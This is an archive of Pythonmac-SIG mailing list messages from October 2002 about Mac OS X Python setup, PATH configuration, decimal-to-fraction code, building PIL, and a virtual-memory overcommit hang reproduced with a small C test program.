____________________________________________________________
Watch a championship game with Elway or McGwire.
Enter Now at http://champions.lycos.com 


From calvin@xmission.com  Sat Oct  5 20:21:46 2002
From: calvin@xmission.com (Calvin)
Date: Sat, 5 Oct 2002 13:21:46 -0600 (MDT)
Subject: [Pythonmac-SIG] ok, i am stumped!
In-Reply-To: <PFBHDMIKBOOGFAAA@mailcity.com> from "kevin parks" at Oct 05, 2002 01:56:48 PM
Message-ID: <E17xuUk-0003Om-00@xmission.xmission.com>

> But it still only works with the full path, so i am able to do:
> 
> % /usr/bin/python2.2 foo.py 
> 
> but not:
> 
> % foo.py
> 

I agree with Just, that you need to fix the #! header to /usr/bin/python 
/usr/bin/python ran my test cgi's just fine when I first installed 10.2:

old: #!/bin/env python
new: #!/usr/bin/python

then fix the print line to use one kind of quote...single or double, but 
not both:

old: print 'hello kevin"
new: print "hello kevin"

If authorities are set right and you are in the same directory as the 
program, run the program by typing "./programname"

Hope this helps.

-calvin


ps.

For start to finish instructions on a default 10.2 install this might 
work...in a terminal window...

Go to your home directory by typing:

cd ~

Type the following to use pico to make a file:

pico mypgm.py

Copy and paste this bit into the term window running pico:

#!/usr/bin/python
print "hello kevin"

Type ctrl-x, then "y" to save your file (mypgm.py)

To set up authorities of owner rwx, group rx, and everyone rx type:

chmod 755 "mypgm.py" 

Then to run the program try:

./mypgm.py


It should produce a line:
hello kevin


From kp87@lycos.com  Sat Oct  5 20:38:53 2002
From: kp87@lycos.com (kevin parks)
Date: Sat, 05 Oct 2002 15:38:53 -0400
Subject: [Pythonmac-SIG] ok, i am stumped!
Message-ID: <JBHBEKNJDHEHFAAA@mailcity.com>

Thanks for your reply. I sent a message right after that first one that is being held up for verification which more or less restates my question, without my bonehead typos. I did indeed catch those typos thanx to Just but what i really want to know is why i have to type % ./foo.py
and not just % foo.py? Especially if i am in a directory that is
included in my path.


[snowcat:~] kevin% ./foo.py 
hello kevin
[snowcat:~] kevin%  foo.py
foo.py: Command not found.
[snowcat:~] kevin% 


Have i forgotten that much UNIX?

Though i did finally figure out *some* of what was going wrong with my path additions. It turns out that the files which used to be in /usr/share/init/tcsh in OS X 10.0 are now found in: /usr/share/tcsh/examples/

SO you sort of have to start setting up your tcsh stuff
again.

still i thought that in UNIX if you had 

setenv PATH "~/bin:/Users/kevin:${PATH}"
in ~/Library/init/tcsh/environment.mine

you would be able to just type the name of the file
as an executable (did the chmond thing and all that)

-kp--



____________________________________________________________
Watch a championship game with Elway or McGwire.
Enter Now at http://champions.lycos.com 


From calvin@xmission.com  Sat Oct  5 21:09:34 2002
From: calvin@xmission.com (Calvin)
Date: Sat, 5 Oct 2002 14:09:34 -0600 (MDT)
Subject: [Pythonmac-SIG] ok, i am stumped!
In-Reply-To: <JBHBEKNJDHEHFAAA@mailcity.com> from "kevin parks" at Oct 05, 2002 03:38:53 PM
Message-ID: <E17xvF1-0004OI-00@xmission.xmission.com>

> setenv PATH "~/bin:/Users/kevin:${PATH}"
> in ~/Library/init/tcsh/environment.mine

I think something like this was true in beta and possibly 10.1.  I fiddled
with my tcsh settings some in beta.  Now, like a good unix I believe you
can set it all in .tcshrc in your home directory.

eg.

more  ~/.tcshrc

Mine looks like this:
calvin% more ~/.tcshrc
setenv PATH /usr/local/bin/:$PATH


I could probably add my home directory
setenv PATH /usr/local/bin/:/Users/calvin/:$PATH

and I could probably add "." too....although I would have to try that one
out a while and see if it worked.
setenv PATH /usr/local/bin/:/Users/calvin:$PATH:./

or something like it anyway.  However, I'm kinda used to having to type 
./blah.py so I don't even think of it...it probably keeps me honest too...

-calvin



From lee@lee-phillips.org  Sun Oct  6 03:13:51 2002
From: lee@lee-phillips.org (Lee Phillips)
Date: Sat, 5 Oct 2002 22:13:51 -0400
Subject: [Pythonmac-SIG] ok, i am stumped!
In-Reply-To: <JBHBEKNJDHEHFAAA@mailcity.com>; from kp87@lycos.com on Sat, Oct 05, 2002 at 03:38:53PM -0400
References: <JBHBEKNJDHEHFAAA@mailcity.com>
Message-ID: <20021005221351.A907@metamere>

> [snowcat:~] kevin% ./foo.py 
> hello kevin
> [snowcat:~] kevin%  foo.py
> foo.py: Command not found.
> [snowcat:~] kevin% 
> 
> 
> Have i forgotten that much UNIX?

Yes. If you want the "current directory" to be in your path, you need to add
"." to the path. Note that some people consider this a security risk, and
there are attacks based on exploiting people having "." as part of their
paths. So, either put all your scripts somewhere such as /usr/local/bin
(making sure that's in your path) or set up a special directory such as
~kevin/bin, put that in your path, and put all your scripts there.

Also, I thinks it's better to make your own shell startup script, which you
put in ~kevin, rather than mess with the system-wide script. Look at
man tcsh for a description of how and when the startup scripts are read.
While you're at it, install bash and use that instead. 





From english@spiritone.com  Sun Oct  6 21:34:10 2002
From: english@spiritone.com (Josh English)
Date: 6 Oct 2002 13:34:10 -0700
Subject: [Pythonmac-SIG] Finding repeating decimals
Message-ID: <3DA09E41.56F7B03B@spiritone.com>

I am working on a fraction class object and one of the things I would
like it to do is convert a decimal to a fraction. The fraction class
simply has a numerator and a denominator as well as methods to add,
subract, mulitply, and divide them with other fractions. 

I thought that if I converted a number like 0.333333 to a string it
should assume that it means 1/3, and I can do that, but I have two problems:

1. I can't find a decent way to detect the repition of a single digit. I
tried the re module but I can't get it to check work. One way is to
declare 9 separate objects:
repeat1 = re.compile('1{2,}')
repeat2 = re.compile('2{2,}')
...
 but then I'd have to have check all nine of them, and that seems really
bulky. 

2. This method doesn't easily handle numbers like 0.133333 which should
convert to 4/30

And of course I'd like to be able to find repeatable numbers like
0.14285714285714285, but that's a problem for another day, I think.

Any suggestions?

Thanks, 

Josh English
english@spiritone.com


From cjl@physics.otago.ac.nz  Sun Oct  6 23:18:36 2002
From: cjl@physics.otago.ac.nz (Chris Lee)
Date: Mon, 7 Oct 2002 11:18:36 +1300
Subject: [Pythonmac-SIG] Finding repeating decimals
In-Reply-To: <3DA09E41.56F7B03B@spiritone.com>
Message-ID: <8EF92BB2-D979-11D6-8A97-0003937807FC@physics.otago.ac.nz>

For single digit repetitions it is probably best to look for the inverse.
ie 1/0.11111111 = 9 + (some computation error due to rounding)
output = 1/9
1/0.222222222 = 4.5 + (error)
output = 2/9
1/0.333333333 = 3 + (error)
output = 1/3
etc
etc

Infact one way to do all of them is to simply have an array of integers
arry = [1... some integer you deem high enough]
myVar = 1/arry
look for the value of arry with the smallest residual error

ie for 0.133333 you would get

1	7.5000000187
2	15.000000037
3	22.500000056
4	30.000000075
5	37.500000094
6	45.000000113
7	52.500000131
8	60.00000015
9	67.500000169
10	75.000000188
11	82.500000206
12	90.000000225
13	97.500000244
14	105.00000026
15	112.50000028
16	120.0000003
17	127.50000032
18	135.00000034
19	142.50000036
20	150.00000038

remove all digits to the left of the decimal place then look for the 
smallest residual error, output the result.

Cheers
Chris

On Monday, October 7, 2002, at 09:34 AM, Josh English wrote:

> I am working on a fraction class object and one of the things I would
> like it to do is convert a decimal to a fraction. The fraction class
> simply has a numerator and a denominator as well as methods to add,
> subract, mulitply, and divide them with other fractions.
>
> I thought that if I converted a number like 0.333333 to a string it
> should assume that it means 1/3, and I can do that, but I have two 
> problems:
>
> 1. I can't find a decent way to detect the repition of a single digit. I
> tried the re module but I can't get it to check work. One way is to
> declare 9 separate objects:
> repeat1 = re.compile('1{2,}')
> repeat2 = re.compile('2{2,}')
> ...
>  but then I'd have to have check all nine of them, and that seems really
> bulky.
>
> 2. This method doesn't easily handle numbers like 0.133333 which should
> convert to 4/30
>
> And of course I'd like to be able to find repeatable numbers like
> 0.14285714285714285, but that's a problem for another day, I think.
>
> Any suggestions?
>
> Thanks,
>
> Josh English
> english@spiritone.com
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>
>
#################################
Chris Lee
Physics Department
Otago University
PO Box 56
Dunedin
New Zealand
Phone ++64 3 479 7749
Fax ++64 3 479 0964
#################################



From Laurent.Pierron@loria.fr  Mon Oct  7 11:29:44 2002
From: Laurent.Pierron@loria.fr (Laurent Pierron)
Date: Mon, 07 Oct 2002 12:29:44 +0200
Subject: [Pythonmac-SIG] Finding repeating decimals
References: <3DA09E41.56F7B03B@spiritone.com>
Message-ID: <3DA16218.3060101@loria.fr>

Josh English a écrit:
> I am working on a fraction class object and one of the things I would
> like it to do is convert a decimal to a fraction. The fraction class
> simply has a numerator and a denominator as well as methods to add,
> subract, mulitply, and divide them with other fractions. 
> 
> I thought that if I converted a number like 0.333333 to a string it
> should assume that it means 1/3, and I can do that, but I have two problems:
> 

An algorithm, I've just invented it, maybe need a scientific report to 
the academy of science :-)

Let x your number and x less than 1, you must find integers a and b as
a/b < x < (a+1)/b, if 1/b < epsilon then x is equivalent to a/b (you 
must have to simplify a/b with gcd) else
b' = b+1 and a' = a if x<(a+1)/b' else a' = a+1 and loop back.

You're staying in the interval because you compare x to (a+1)/(b+1) and 
a/b < (a+1)/(b+1) < (a+1)/b
The interval is more and more small because the wide of the interval is 
1/b, and b is decreasing at each step.

It sounds like some Newton algorithm, so I think I'm plagiating Newton.

An example of Python function to do that, with some optimizations but 
not so good because you can obtain an Error : "maximum recursion depth 
exceeded" :

def quotient(x,a=0,b=1,err=0.001):
         assert(0<x<1)
         # The answer is a/b
	if a-err<b*x<a+err: return a,b
         # The answer is (a+1)/b
	if a+1-err<b*x<a+1+err: return a+1, b
         # Too much err, go one step deeper
	a,b = a+1,b+1
	if x*b < a: return quotient(x,a-1,b,err)
	return quotient(x,a,b,err)

 >>> quotient(0.33)
(33, 100)
 >>> quotient(0.333)
(1, 3)
 >>> quotient(0.3333)
(1, 3)
 >>> quotient(0.133333)
(2, 15)
 >>> quotient(0.14285714285714285)
(1, 7)

-- 
Laurent PIERRON                    -*- mailto:Laurent.Pierron@loria.fr

INRIA-Lorraine / LORIA             -*-     bureau : B 042
615, rue du Jardin Botanique       -*- mobile/SMS : +33 6 72 23 03 80
B.P. 101                           -*-       voix : +33 3 83 58 17 47
54602 Villers les Nancy (France)   -*-        fax : +33 3 83 27 83 19



From Jack.Jansen@cwi.nl  Mon Oct  7 15:29:23 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Mon, 7 Oct 2002 16:29:23 +0200
Subject: [Pythonmac-SIG] mxDateTime for MacPython 2.1 (Classic andCarbon  would be nice)
In-Reply-To: <3D91F30C.945B5229@noaa.gov>
Message-ID: <2CE944B6-DA01-11D6-998E-0030655234CE@cwi.nl>

On Wednesday, Sep 25, 2002, at 19:31 Europe/Amsterdam, Chris Barker 
wrote:
>
>> I compile this with the following files in my CodeWarrior
>> project:
>>
>> MSL_ShLibRuntime_PPC.Lib
>> CarbonLib (stub)
>> PythonCoreCarbon (stub)
>> mxDateTime.c
>
> I have:
>
> mxDateTime.c
>
> MSL ShLibRuntime.Lib
> PythonCore
>
You may want to add the C library. I'm not sure of the exact name of 
the C library for your version of CodeWarrior, it'll be something like 
"MSL C (PPC)". PythonCore exports almost everything from the C library, 
but not 100% (stuff Python doesn't use isn't included and re-exported). 
Apparently floor() is one of the few C library routines Python doesn't 
use.



From Jack.Jansen@cwi.nl  Mon Oct  7 16:08:32 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Mon, 7 Oct 2002 17:08:32 +0200
Subject: [Pythonmac-SIG] test_builtin hanging on 10.2
Message-ID: <A51362AA-DA06-11D6-998E-0030655234CE@cwi.nl>

--Apple-Mail-7--138462003
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed

I'm consistently seeing a hang, often even a complete system hang, i.e. 
even cmd-alt-esc doesn't work anymore, if I run test_builtin under 10.2 
(in the unix interpreter, both 10.2 and 10.2.1). Is anyone else seeing 
this?

What seems to be happening is that 10.2 (unlike 10.1) overcommits 
virtual memory, and then finds itself in deep trouble when the memory 
is actually used. Other programs (even the cmd-alt-esc handler) are 
then locked out as soon as they need memory (or something similar). 
test_builtin triggers this when it tries to create a list of 2**29 
integers. The attached C program also triggers it. If you have, say, 
1GB of freespace on your system drive the C program will run normally 
upto iteration 1000 (it allocates a megabyte per iteration) and then 
the system will come to a grinding halt.

Before I submit a bug report to Apple: is anyone else seeing this? Is 
anyone aware of more info on the problem? Is there any way out of the 
hang short of the reset button?

--Apple-Mail-7--138462003
Content-Disposition: attachment
Content-Type: multipart/appledouble;
	boundary=Apple-Mail-8--138462003


--Apple-Mail-8--138462003
Content-Disposition: attachment;
	filename=fillmem.c
Content-Transfer-Encoding: base64
Content-Type: application/applefile;
	name="fillmem.c"

AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAAAoAAAADAAAASAAAAAkAAAACAAAA
UQAAAX5URVhUUipjaAAAZmlsbG1lbS5jAAABAAAAAUwAAABMAAAAMgAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgA
CU1vbmFjbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYABAAvAAgDiQKCAC8ACAOJAoK5x19D
AAAAiQAAAIkAAAAAAQAAAAEAAAABTAAAAEwAAAAyAA6AhAFKAAAAHAAyAABNUFNSAAAACgPt//8A
AAAAAa8UBA==

--Apple-Mail-8--138462003
Content-Disposition: attachment;
	filename=fillmem.c
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	x-mac-creator=522A6368;
	x-unix-mode=0644;
	x-mac-type=54455854;
	name="fillmem.c"

#include <stdio.h>=0D#include <stdlib.h>=0D=0Dmain() {=0D	int i =3D =
1;=0D	char *p;=0D	=0D	while(1) {=0D		p =3D =
malloc(1024*1024);=0D		if (p) {=0D			=
memset(p, 1, 1024*1024);=0D			printf("GOOD %5d =
0x%x\n", i, p);=0D		} else {=0D			=
printf("NULL %5d\n", i);=0D			sleep(1);=0D		=
}=0D		i++;=0D	}=0D}=0D=

--Apple-Mail-8--138462003--

--Apple-Mail-7--138462003--



From Chris.Barker@noaa.gov  Mon Oct  7 17:38:02 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Mon, 07 Oct 2002 09:38:02 -0700
Subject: [Pythonmac-SIG] test_builtin hanging on 10.2
References: <A51362AA-DA06-11D6-998E-0030655234CE@cwi.nl>
Message-ID: <3DA1B86A.DBDD26E7@noaa.gov>

Jack,

I'm not sure this helps, but I have stumbled upon some discussions about
the Linux kernel in regard to similar issues. Apparently, while it seems
stupid for the system to allow programs to allocate memory that doesn't
exist, it has some very useful properties, and what to do abot it is a
much debated topic. Of course the real problem here is what to do when
the sytem is out of memory, whether that is because of overcommitment,
or just plain not enough memory. I did a quick google search and found
this discussion:

http://www.uwsg.iu.edu/hypermail/linux/kernel/0003.3/0212.html

I'm sure there are many more similar ones archived from various
newsgroups. I know I saw one with Linus Torvalds' expaination of the
problem but I haven't been able to find it again today.

Unfortunatley, this is really a kernel issue, and if Apple has not
designed Darwin to deal well with this problem, an app developer can't
do anything about it.

I can say that I have never had a memory over run completely hang my
system on linux. I could always telnet in (or sometimes switch to a
command line virtual terminal at the console) and kill the offending
process, if I had enough patience. It could take a while. I have had the
keyboard and mouse pretty well freeze up on me however, so if you can't
telnet in from another box, your system may as well be completely hung.

I do wish Apple provided a way to switch from their pretty GUI to a raw
command line easily, it might help in these situations.

-Chris







-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From Chris.Barker@noaa.gov  Mon Oct  7 17:39:57 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Mon, 07 Oct 2002 09:39:57 -0700
Subject: [Pythonmac-SIG] mxDateTime for MacPython 2.1 (Classic andCarbon
 would be nice)
References: <2CE944B6-DA01-11D6-998E-0030655234CE@cwi.nl>
Message-ID: <3DA1B8DD.6532CF7@noaa.gov>

Jack Jansen wrote:

> You may want to add the C library. I'm not sure of the exact name of
> the C library for your version of CodeWarrior, it'll be something like
> "MSL C (PPC)". PythonCore exports almost everything from the C library,
> but not 100% (stuff Python doesn't use isn't included and re-exported).
> Apparently floor() is one of the few C library routines Python doesn't
> use.

Thanks, Jack. By including MathLib, I've gotten it to work, but I get a
LOT of warnings about multiply defined symbols. Perhaps this will work
better. I'll post here when I've given it a try.

-Chris





-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From stephenm@humongous.com  Mon Oct  7 22:03:12 2002
From: stephenm@humongous.com (Magladry, Stephen)
Date: Mon, 7 Oct 2002 14:03:12 -0700
Subject: [Pythonmac-SIG] up to date projects within the main python source code release?
Message-ID: <151590CD351823429A7EBA135BEEAD5801ADE851@sea-horse.humongous.com>

I'm looking at the main Python source code release for 2.2.1. It appears to
have old Mac projects; 68k, ppc, and no Carbon. Should the up to date Mac
projects get integrated with the main Python source release? 


From Chris.Barker@noaa.gov  Tue Oct  8 00:42:26 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Mon, 7 Oct 2002 16:42:26 -0700
Subject: [Pythonmac-SIG] compiling PIL on OS-X.2: Jaguar
Message-ID: <6F26185A-DA4E-11D6-AFBE-000393A96660@noaa.gov>

Hi all,

I'm trying to compile PIL on OS-X 10.2.1, to work with the version of 
Python2.2 that it shipped with (the straight Unix build)

I downloaded the tarball for Imaging-1.1.3, unpacked it, and tried the 
basic:

$ cd Imaging-1.1.3/libImaging
$ ./configure
$ make
$ cd ..
$ python setup.py build

What I got what a bunch of messages like:

ld: warning build/temp.darwin-6.1-Power Macintosh-2.2/_imaging.o 
cputype (18, architecture ppc) does not match cputype (7) for specified 
-arch flag: i386 (file not loaded)

why would there be an "-arch flag:i386" there???

I also got errors about libjpeg not being there, so i downloaded 
jpegsrc.V6b.tar.gz, unpacked and compiled that. It seemed to work fine 
of I did a staight ./configure, make, make install, but if I tried 
./configure --enable-shared --enable-static, but that didn't seem to 
work well. In any case, with the standard build I got a libjpeg.a file, 
is that what I need?

Any hint would help, I really would like to get this working. BTW, I 
have no need, at the moment, for the TK stuff, which I imagine would be 
a whole other ball of wax to get working.

thanks,
-Chris



From SamuelM.Smith  Tue Oct  8 01:03:11 2002
From: SamuelM.Smith (SamuelM.Smith)
Date: Mon, 7 Oct 2002 18:03:11 -0600
Subject: [Pythonmac-SIG] compiling PIL on OS-X.2: Jaguar
In-Reply-To: <6F26185A-DA4E-11D6-AFBE-000393A96660@noaa.gov>
Message-ID: <55ABAE90-DA51-11D6-8EAA-00039346A274@samuelsmith.org>

On Monday, October 7, 2002, at 05:42 PM, Chris Barker wrote:

> Hi all,
>
> I'm trying to compile PIL on OS-X 10.2.1, to work with the version of 
> Python2.2 that it shipped with (the straight Unix build)
>
The fink version of unix python and pil built fine for me on Jaguar. I 
now have the python that came with Jaguar and also the Fink version of 
python installed on my system. All the TK stuff installed as part of 
the fink build of unix python.



From brian_l@mac.com  Tue Oct  8 02:29:30 2002
From: brian_l@mac.com (Brian Lenihan)
Date: Mon, 7 Oct 2002 18:29:30 -0700 (PDT)
Subject: [Pythonmac-SIG] test_builtin hanging on 10.2
Message-ID: <7092451.1034040570115.JavaMail.brian_l@mac.com>

I filed a bug a SF against Python on this (61069).  It's debatable whether
this is Python's fault, but I believe the test in test_b1.py which is
causing the problem should not be run an every platform.

I'm going to avoid the problem by setting a hard limit of 400MB for per
process memory. 

bash: ulimit -v  nnnn
tcsh: limit datasize nnnn

The only way I know to break out of this is to run top in separate console
window before you start python (otherwise it will take a long time to
appear) and kill the python process once it starts swapping.  Your system is
not hung, it is just very busy doing page outs.

According the Apple's docs, lazy memory allocation and the 4GB of per
process virtual memory, are by design:

http://developer.apple.com/techpubs/macosx/Essentials/Performance/VirtualMemory/Virtual_Mem_on_Mac_OS_X.html
 
On Monday, Oct 07, 2002, at 08:08AM, Jack Jansen <Jack.Jansen@cwi.nl> wrote:

>I'm consistently seeing a hang, often even a complete system hang, i.e. 
>even cmd-alt-esc doesn't work anymore, if I run test_builtin under 10.2 
>(in the unix interpreter, both 10.2 and 10.2.1). Is anyone else seeing 
>this?
>
>What seems to be happening is that 10.2 (unlike 10.1) overcommits 
>virtual memory, and then finds itself in deep trouble when the memory 
>is actually used. Other programs (even the cmd-alt-esc handler) are 
>then locked out as soon as they need memory (or something similar). 
>test_builtin triggers this when it tries to create a list of 2**29 
>integers. The attached C program also triggers it. If you have, say, 
>1GB of freespace on your system drive the C program will run normally 
>upto iteration 1000 (it allocates a megabyte per iteration) and then 
>the system will come to a grinding halt.
>
>Before I submit a bug report to Apple: is anyone else seeing this? Is 
>anyone aware of more info on the problem? Is there any way out of the 
>hang short of the reset button?
>
>#include <stdio.h>
#include <stdlib.h>

main() {
	int i = 1;
	char *p;
	
	while(1) {
		p = malloc(1024*1024);
		if (p) {
			memset(p, 1, 1024*1024);
			printf("GOOD %5d 0x%x\n", i, p);
		} else {
			printf("NULL %5d\n", i);
			sleep(1);
		}
		i++;
	}
}
>



From alan@dyck.net  Tue Oct  8 06:32:07 2002
From: alan@dyck.net (Alan Dyck)
Date: Mon, 7 Oct 2002 22:32:07 -0700
Subject: [Pythonmac-SIG] Newbie environment var problem
Message-ID: <4925F88A-DA7F-11D6-A4C2-0030656D02BC@dyck.net>

If you do not wish to help a newcomer, please skip this message and 
accept my apologies.

I request the help of the group in configuring the environment variables 
for Python 2.2.1 in Mac OS 10.1.5. I have used Python on NT for half a 
year and am frustrated by how difficult and undocumented it is on my Mac.

Right now whenever I want to harness the power of Python I paste in 
these two lines:
setenv PATH "${PATH}:/Applications/Python/bin"
setenv PYTHONPATH "/Users/alandyck/pythonscripts"
I have read many conflicting hints of how to get these commands into a 
config or resource file for Terminal (tcsh?). Can someone tell me how to 
do it?

Much obliged.
-Alan Dyck



From ep@epoz.org  Tue Oct  8 07:43:01 2002
From: ep@epoz.org (Etienne Posthumus)
Date: Tue, 8 Oct 2002 08:43:01 +0200
Subject: [Pythonmac-SIG] compiling PIL on OS-X.2: Jaguar
In-Reply-To: <6F26185A-DA4E-11D6-AFBE-000393A96660@noaa.gov>
Message-ID: <30967722-DA89-11D6-8F80-0003935458F6@epoz.org>

On dinsdag, okt 8, 2002, at 01:42 Europe/Amsterdam, Chris Barker wrote:
> ld: warning build/temp.darwin-6.1-Power Macintosh-2.2/_imaging.o 
> cputype (18, architecture ppc) does not match cputype (7) for 
> specified -arch flag: i386 (file not loaded)
>
> why would there be an "-arch flag:i386" there???

At this moment no-one knows why. Rest assured that you are not the only 
one seeing those weird error messages, and that other modules are also 
affected by it.
You can try removing the offending flag from 
/usr/lib/python2.2/config/Makefile

My vote would be either building your own python from source, or using 
the fink version if you want to do any module building or own 
development.

Pity that we can't rely on the default build to have all the Python 
goodness one would want, if you wanted to distribute Python apps to 
other OS X 10.2 users - (like an XML parser...)

Let's hope that there is an Apple provided software update to Python 
with a newer version including all the goodness done by the Pythonmac 
people.

EP
Amsterdam, NL



From tony.mcdonald@ncl.ac.uk  Tue Oct  8 11:14:45 2002
From: tony.mcdonald@ncl.ac.uk (Tony McDonald)
Date: Tue, 08 Oct 2002 11:14:45 +0100
Subject: [Pythonmac-SIG] Newbie environment var problem
In-Reply-To: <4925F88A-DA7F-11D6-A4C2-0030656D02BC@dyck.net>
Message-ID: <B9C86EA5.1FF0D%tony.mcdonald@ncl.ac.uk>

On 8/10/02 6:32 am, "Alan Dyck" <alan@dyck.net> wrote:

> If you do not wish to help a newcomer, please skip this message and
> accept my apologies.
> 

That's a bit defensive! :) - this maillist is very friendly to newbs...

> I request the help of the group in configuring the environment variables
> for Python 2.2.1 in Mac OS 10.1.5. I have used Python on NT for half a
> year and am frustrated by how difficult and undocumented it is on my Mac.

I guess it's because it's in a state of flux. Apple only recently included
unix python with OS-X, so before that people on this list had downloaded the
source of python and built their own (or dl-ed from Tony Lownds site or
others).

Some of the really cool stuff is happening with the GUI-based MacPython,
which has been successfully compiled into a FrameWork. I always have the
PythonIDE running in my dock, and it has MySQLdb, XML tools, reportlab and a
host of others included in site-packages. This is a little
bleeding^H^H^H^H^H^H^H^Hscratchy edge though at the moment (but definitely
usable).

There's also talk of incorporating WxPython into MacPython as well
(personally I'd love to be able to use python within
ProjectBuilder/InterfaceBuilder, but thats a ways off I think).


> 
> Right now whenever I want to harness the power of Python I paste in
> these two lines:
> setenv PATH "${PATH}:/Applications/Python/bin"
> setenv PYTHONPATH "/Users/alandyck/pythonscripts"
> I have read many conflicting hints of how to get these commands into a
> config or resource file for Terminal (tcsh?). Can someone tell me how to
> do it?
> 

You can either put those lines into a .tcshrc file in your Users/alandyck
folder, or read this URL
http://forums.macosxhints.com/showthread.php?s=&threadid=792
Which has gobs of information on how to do it the MacOS-X way....

> Much obliged.
> -Alan Dyck
> 

Hope this helps,
Tone.
-- 
Dr Tony McDonald,  Assistant Director, FMCC, http://www.fmcc.org.uk/
The Medical School, Newcastle University Tel: +44 191 243 6140
A Zope list for UK HE/FE  http://www.fmcc.org.uk/mailman/listinfo/zope



From oussoren@cistron.nl  Tue Oct  8 12:42:19 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Tue, 8 Oct 2002 13:42:19 +0200
Subject: [Pythonmac-SIG] Newbie environment var problem
In-Reply-To: <B9C86EA5.1FF0D%tony.mcdonald@ncl.ac.uk>
Message-ID: <009091CF-DAB3-11D6-A17D-0003931CFE24@cistron.nl>

On Tuesday, Oct 8, 2002, at 12:14 Europe/Amsterdam, Tony McDonald wrote:
> There's also talk of incorporating WxPython into MacPython as well
> (personally I'd love to be able to use python within
> ProjectBuilder/InterfaceBuilder, but thats a ways off I think).

It is not too far of. PyObjC (pyobjc.sourceforge.net) is very much 
alive. We have a usable version in CVS and hope to do a release soon. 
The new version should work with Apple's python in 10.2 and definitely 
allows one to use IB to build GUIs.

IIRC the cvs version of Python 2.3 contains a patch or module that 
allows you to build IB based GUIs with Carbon.

Ronald



From oussoren@cistron.nl  Tue Oct  8 12:43:23 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Tue, 8 Oct 2002 13:43:23 +0200
Subject: [Pythonmac-SIG] Newbie environment var problem
In-Reply-To: <B9C86EA5.1FF0D%tony.mcdonald@ncl.ac.uk>
Message-ID: <2679A63A-DAB3-11D6-A17D-0003931CFE24@cistron.nl>

On Tuesday, Oct 8, 2002, at 12:14 Europe/Amsterdam, Tony McDonald wrote:
> There's also talk of incorporating WxPython into MacPython as well
> (personally I'd love to be able to use python within
> ProjectBuilder/InterfaceBuilder, but thats a ways off I think).

It is not too far of. PyObjC (pyobjc.sourceforge.net) is very much 
alive. We have a usable version in CVS and hope to do a release soon. 
The new version should work with Apple's python in 10.2 and definitely 
allows one to use IB to build GUIs.

IIRC the cvs version of Python 2.3 contains a patch or module that 
allows you to build IB based GUIs with Carbon.

Ronald



From english@spiritone.com  Tue Oct  8 16:21:10 2002
From: english@spiritone.com (Josh English)
Date: 8 Oct 2002 08:21:10 -0700
Subject: [Pythonmac-SIG] Finding repeating decimals
Message-ID: <3DA2F7E7.D3337F7E@spiritone.com>

Thanks for the help on this one. I am able to get this working now just
fine. The final code looks like this:

def DecToFraction(x):
	"""Returns a fraction object based on a decimal"""
	ipart = int(x)
	fpart = x-ipart
	y = 1.0/fpart
	y *= 10000
	f = Fraction(10000,int(y))
	f.reduce()
	f+=ipart
	return f

The Fraction class supports adding and mulitiplying between fractions
and integers. I need to incorporate adding and multiplying floats.

Thanks for the help
Josh English




From english@spiritone.com  Tue Oct  8 16:28:43 2002
From: english@spiritone.com (Josh English)
Date: 8 Oct 2002 08:28:43 -0700
Subject: [Pythonmac-SIG] Updating to PyXML
Message-ID: <3DA2F9AB.953D1637@spiritone.com>

This is another strange problem I'm running into on an older project. I
do math tutoring and I keep the log of my tutoring sessions in an xml
file, I wrote a couple of parsers based off of xml.dom minidom to create
customized Class Objects that I've defined in Python, and I coded a
small window using W widgets so I can scroll through everything with no
difficulty, I can add new items to my database and it spits out a new
XML file.
So far everything was running smoothly until I decided to explore the
PyXML package. I downloaded it and (while Python wasn't running) renamed
the xml folder in my Python/Lib folder to 'oldxml'. I then moved the xml
folder from the PyXML distribution into my Python/Lib folder, started
Python and tried to work with my Tutor Log. This is what I got:

>>> import TutorLogParser
>>> d = TutorLogParser.DefaultLogParser()
Traceback (most recent call last):
  File "<input>", line 1, in ?
  File "Marvin:Applications (Mac OS 9):Python
2.2:Scripts:TutorLogParser.py", line 6, in __init__
    self.LoadSource(_logpath)
  File "Marvin:Applications (Mac OS 9):Python
2.2:Scripts:TutorLogParser.py", line 11, in LoadSource
    self.Source = minidom.parse(source).documentElement
  File "Marvin:Applications (Mac OS 9):Python
2.2:Lib:xml:dom:minidom.py", line 1595, in parse
    return expatbuilder.parse(file)
  File "Marvin:Applications (Mac OS 9):Python
2.2:Lib:xml:dom:expatbuilder.py", line 928, in parse
    result = builder.parseFile(fp)
  File "Marvin:Applications (Mac OS 9):Python
2.2:Lib:xml:dom:expatbuilder.py", line 166, in parseFile
    parser = self.getParser()
